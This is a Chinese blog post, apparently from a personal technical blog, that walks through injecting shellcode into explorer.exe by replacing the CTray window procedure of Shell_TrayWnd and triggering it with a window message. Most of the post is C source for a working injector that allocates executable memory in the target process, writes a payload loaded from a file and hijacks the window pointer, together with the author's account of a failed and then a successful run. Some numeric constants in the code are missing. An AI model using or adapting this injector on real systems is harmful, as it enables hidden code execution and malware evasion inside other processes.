windows:shellcode 远程线程hook/注入(三)
今天介绍第三种远程执行shellcode的思路:函数回调;
1、所谓回调,简单理解:
- windows出厂时,内部有很多事务的处理无法固化(无法100%预料外部会遇到哪些情况),只能留下一堆的接口,让开发人员根据实际情况完善这些事务的处理过程,比如多线程;windows提供了创建线程的接口CreateThread、CreateRemoteThread,线程创建好后干啥了? 当然是执行开发人员个性化的代码了! 所以这些API的参数也预留了开发人员自定义代码的入口;
- windows内部:不同模块有不同的功能,模块之间是互相协同的,并且是典型的多对多关系。如果模块之间的调用是紧耦合并且固化,不利于模块的复用,所以内部很多地方也是通过回调函数实现模块之间互相松耦合的,典型的比如windows消息机制:窗口之间互相PostMessage、SendMessage,接收到消息后,开发人员可以通过重写WndProc函数自定义消息的处理过程;
本次实验利用windows窗口之间的消息传递机制执行自己的shellcode,核心原理如下:
- 通过Shell_TrayWnd打开目标进程(通常是explorer.exe);
- 写入shellcode
- 构造CTray对象,其中有个成员就是WndProc,使其指向shellcode;CTray对象随后写入目标进程
- 调用SetWindowLongPtr, 让窗口的处理程序指向CTray对象,进而执行我们自己定义的shellcode;
核心代码如下:
头文件:
//#define UNICODE
#include "ntlib/ntddk.h"
#include <stdio.h>
#pragma comment(lib, "user32.lib")
#pragma comment(lib, "shell32.lib")
#pragma comment(lib, "ntdll.lib") // CTray object for Shell_TrayWnd
typedef struct _ctray_vtable {
ULONG_PTR vTable; // change to remote memory address
ULONG_PTR AddRef;
ULONG_PTR Release;
ULONG_PTR WndProc; // window procedure (change to payload)
} CTray; VOID CTray_WndProc_Hook(LPVOID payload, DWORD payloadSize);
VOID kernelcallbacktable(LPVOID payload, DWORD payloadSize);
DWORD readpic(PWCHAR path, LPVOID* pic); #endif // !_KCT_H
C文件:
#include "ktc.h" VOID CTray_WndProc_Hook(LPVOID payload, DWORD payloadSize)
{
LPVOID cs, ds;
CTray ct;
ULONG_PTR ctp;
HWND hw;
HANDLE hp;
DWORD pid;
SIZE_T wr; // 1. Obtain a handle for the shell tray window
hw = FindWindow(L"Shell_TrayWnd", NULL); // 2. Obtain a process id for explorer.exe
GetWindowThreadProcessId(hw, &pid);
printf("find window ID=%d\n", pid);
// 3. Open explorer.exe
hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid); // 4. Obtain pointer to the current CTray object
ctp = GetWindowLongPtr(hw, );
if (ctp == )
{
printf("GetWindowLongPtr failed!\n");
CloseHandle(hp);
return;
} // 5. Read address of the current CTray object
ReadProcessMemory(hp, (LPVOID)ctp,
(LPVOID)&ct.vTable, sizeof(ULONG_PTR), &wr); // 6. Read three addresses from the virtual table
ReadProcessMemory(hp, (LPVOID)ct.vTable,
(LPVOID)&ct.AddRef, sizeof(ULONG_PTR) * , &wr); // 7. Allocate RWX memory for code
cs = VirtualAllocEx(hp, NULL, payloadSize,
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); // 8. Copy the code to target process
WriteProcessMemory(hp, cs, payload, payloadSize, &wr);
printf("payload address:%p\n", payload);
//printf("cs address:%p---->%s\n", cs, *(char *)cs);//cs是exlorer进程的地址,这里读会出事;
printf("cs address:%p\n", cs);
// 9. Allocate RW memory for the new CTray object
ds = VirtualAllocEx(hp, NULL, sizeof(ct),
MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); // 10. Write the new CTray object to remote memory
ct.vTable = (ULONG_PTR)ds + sizeof(ULONG_PTR);
ct.WndProc = (ULONG_PTR)cs; WriteProcessMemory(hp, ds, &ct, sizeof(ct), &wr); // 11. Set the new pointer to CTray object
if (SetWindowLongPtr(hw, , (ULONG_PTR)ds) == )
{
printf("SetWindowLongPtr failed!\n");
VirtualFreeEx(hp, cs, , MEM_DECOMMIT);
VirtualFreeEx(hp, ds, , MEM_DECOMMIT);
CloseHandle(hp);
return;
}
//system("pause");
// 12. Trigger the payload via a windows message
//PostMessage(hw, WM_CLOSE, 0, 0);
PostMessage(hw, WM_PAINT, , );
//SendNotifyMessageA(hw, WM_PAINT, 0, 0); //执行注入代码
Sleep();
//system("pause");
// 13. Restore the original CTray object
SetWindowLongPtr(hw, , ctp); //system("pause"); // 14. Release memory and close handles
VirtualFreeEx(hp, cs, , MEM_DECOMMIT);
VirtualFreeEx(hp, ds, , MEM_DECOMMIT);
CloseHandle(hp);
} /*shellcode从bin文件读出来*/
DWORD readpic(PWCHAR path, LPVOID* pic) {
HANDLE hf;
DWORD len, rd = ; // 1. open the file
hf = CreateFile(path, GENERIC_READ, , ,
OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if (hf != INVALID_HANDLE_VALUE) {
// get file size
len = GetFileSize(hf, );
// allocate memory
*pic = malloc(len + );
printf("*pic:%p------------->\n", *pic);
// read file contents into memory
ReadFile(hf, *pic, len, &rd, );
CloseHandle(hf);
}
return rd;
} int main(void) {
LPVOID pic = NULL;
DWORD len;
int argc;
PWCHAR* argv; argv = CommandLineToArgvW(GetCommandLine(), &argc); if (argc != )
{
printf("usage: kct <payload>\n");
return ;
} len = readpic(argv[], &pic);
if (len == ) { printf("invalid payload\n"); return ; } //kernelcallbacktable(pic, len);
CTray_WndProc_Hook(pic, len);
return ;
}
执行后:通过process hacker看,shellcode成功写入explorer进程:

但最终结果并未按照预期弹出messageBox,反而导致explorer崩溃(表现为无法打开文件夹、下方任务栏点击右键没反应、点击左下角的”开始“也没反应);经过在不同代码处添加pause,反复尝试多次后发现问题所在:SetWindowLongPtr执行时出错。个人猜测原因(未经证实)如下:
SetWindowLongPtr执行时,会将原来默认的消息处理函数改成我们自定义的shellcode,这切换的过程需要时间;但windows是个非常复杂的系统,每毫秒、微妙甚至纳秒都有消息需要处理,切换时还会收到大量消息(shellcode里面的messageBox本身也要弹框),但切换过程中这些消息来不及(或压根无法)处理,导致explorer崩溃,然后进程挂掉后自动重启。这时再在任务栏点击右键、点击文件夹、点击左下角的开始等地方都会有原来的反应;这让我想起了前端时间学习用汇编写操作系统时的一些trick: 执行重要指令时,先cli关闭中断,避免指令被打断。执行完成后再sti 重启开启中断;但SetWindowLongPtr在执行的时候貌似并未有屏蔽消息的功能(后续会想一些办法,比如逆向一些关键的dll去核实);
这次实验算是失败了,下面还有10来种shellcode 的注入办法,后续会挨个尝试,找到当下最合适的那个;
最后:借(chao)鉴(xi)了别人的思路和代码如下:
https://www.sec-in.com/article/64
https://github.com/odzhan/injection
-------------------------------------------------------------------------分割线------------------------------------------------------------------------------------------------------------------------------------------------
同样的代码,今天编译成64位,换了一个shellcode(https://github.com/odzhan/injection/tree/master/kct 这里的release.bin),程序正常运行,shellcode执行完后弹出了记事本,这里总结一下刚开始实验时失败的原因:
1、explorer.exe是64位的,注入程序却是32位的,尽快shellcode成功注入了explorer.exe,但SetWindowLongPtr执行完后底层并未成功置换原CTray,导致自定义的shellcode未能执行;
2、原shellcode:本身也是32位的,里面的LoadLibrary和GetProcAddress都是在32位的环境下动态获取的,在64位的exlporer.exe中无法正常获取其地址,反而导致explorer.exe自身崩溃;
windows:shellcode 远程线程hook/注入(三)的更多相关文章
- windows:shellcode 远程线程hook/注入(一)
https://www.cnblogs.com/theseventhson/p/13199381.html 上次分享了通过APC注入方式,让目标线程运行shellcode.这么做有个前提条件:目标线程 ...
- windows:shellcode 远程线程hook/注入(二)
https://www.cnblogs.com/theseventhson/p/13218651.html 上次分享了基本的远程注入方法,遗留了一个问题:shellcode执行完后怎么回到线程su ...
- windows:shellcode 远程线程hook/注入(五)
前面几篇文章介绍了通过APC注入.进程注入.windows窗口处理函数回调.kernercallback回调执行shellcode,今天继续介绍通过heap Spray(翻译成中文叫堆喷射)执行she ...
- windows:shellcode 远程线程hook/注入(四)
https://www.cnblogs.com/theseventhson/p/13236421.html 这里介绍了利用回调函数执行shellcode的基本原理:这里介绍另外一种利用回调执行she ...
- 《windows核心编程系列》十九谈谈使用远程线程来注入DLL。
windows内的各个进程有各自的地址空间.它们相互独立互不干扰保证了系统的安全性.但是windows也为调试器或是其他工具设计了一些函数,这些函数可以让一个进程对另一个进程进行操作.虽然他们是为调试 ...
- 使用远程线程来注入DLL
使用远程线程来注入DLL DLL注入技术要求我们目标进程中的一个线程调用LoadLibrary来载入我们想要的DLL (1)用OpenProcess函数打开目标进程(2)用VirtualAllocEx ...
- 【windows核心编程】远程线程DLL注入
15.1 DLL注入 目前公开的DLL注入技巧共有以下几种: 1.注入表注入 2.ComRes注入 3.APC注入 4.消息钩子注入 5.远线程注入 6.依赖可信进程注入 7.劫持进程创建注入 8.输 ...
- 实现远程线程DLL注入
### 32位:远程线程注入 远程线程注入是最常用的一种注入技术,该技术利用的核心API是 `CreateRemoteThread()` 这个API可以运行远程线程,其次通过创建的线程调用 `Load ...
- Dll注入:X86/X64 远程线程CreateRemoteThread 注入
远线程注入原理是利用Windows 系统中CreateRemoteThread()这个API,其中第4个参数是准备运行的线程,我们可以将LoadLibrary()填入其中,这样就可以执行远程进程中的L ...
随机推荐
- 洛谷 P1640 SCOI2010 连续攻击游戏 并查集
题目描述 lxhgww最近迷上了一款游戏,在游戏里,他拥有很多的装备,每种装备都有2个属性,这些属性的值用[1,10000]之间的数表示.当他使用某种装备时,他只能使用该装备的某一个属性.并且每种装备 ...
- SQL注入原理及代码分析(二)
前言 上一篇文章中,对union注入.报错注入.布尔盲注等进行了分析,接下来这篇文章,会对堆叠注入.宽字节注入.cookie注入等进行分析.第一篇文章地址:SQL注入原理及代码分析(一) 如果想要了解 ...
- 龙芯开源社区上线.NET主页
龙芯团队从2019年7 月份开始着手.NET Core的MIPS64支持研发,经过将近一年的研发,在2020年6月18日完成了里程碑性的工作,在github CoreCLR 仓库:https://gi ...
- Linux系统中到底应该怎么理解系统的平均负载
02 | 基础篇:到底应该怎么理解“平均负载”? 每次发现系统变慢时,我们通常做的第一件事,就是执行 top 或者 uptime 命令,来了解系统的负载情况.比如像下面这样,我在命令行里输入了 upt ...
- Mysql基础(八):MySQL 表的一对一、一对多、多对多问题
将实体与实体的关系,反应到最终数据库表的设计上,将关系分为三种:一对一,一对多(多对一)和多对多,所有的关系都是表与表之间的关系; 一对一 一对一:一张表的一条记录只能与另外一条记录进行对应,反之亦然 ...
- 微信小程序热更新,小程序提示版本更新,版本迭代,强制更新,微信小程序版本迭代
相信很多人在做小程序的时候都会有迭代每当版本迭代的时候之前老版本的一些方法或者显示就不够用了这就需要用到小程序的热更新.或者说是提示升级小程序版本 editionUpdate:function(){ ...
- bzoj3062[Usaco2013 Feb]Taxi*
bzoj3062[Usaco2013 Feb]Taxi 题意: Bessie在农场上为其他奶牛提供出租车服务,她必须赶到这些奶牛的起始位置,并把他们带到它们的目的地.Bessie的车很小,所以她只能一 ...
- noi linux gedit 配置(c++环境)
基本配置 方法一 查看所有命令: gsettings list-recursively | grep -i gedit 命令解释 gsettings set org.gnome.gedit.prefe ...
- swfupload控件文件上传大小限制设置
swfupload控件,是我在开发过程中用到的上传文件的控件,非常实用和方便.但最近碰到一些问题,解决之后进行一下整理. 因为用户上传文件的大小限制增加,导致原本上传控件时,文件的大小需要进行调整和限 ...
- 又被逼着优化代码,这次我干掉了出入参 Log日志
本文收录在个人博客:www.chengxy-nds.top,技术资源共享. 最近技术部突然刮起一阵 review 代码的小风,挨个项目组过代码,按理说这应该是件挺好的事,让别人指出自己代码中的不足,查 ...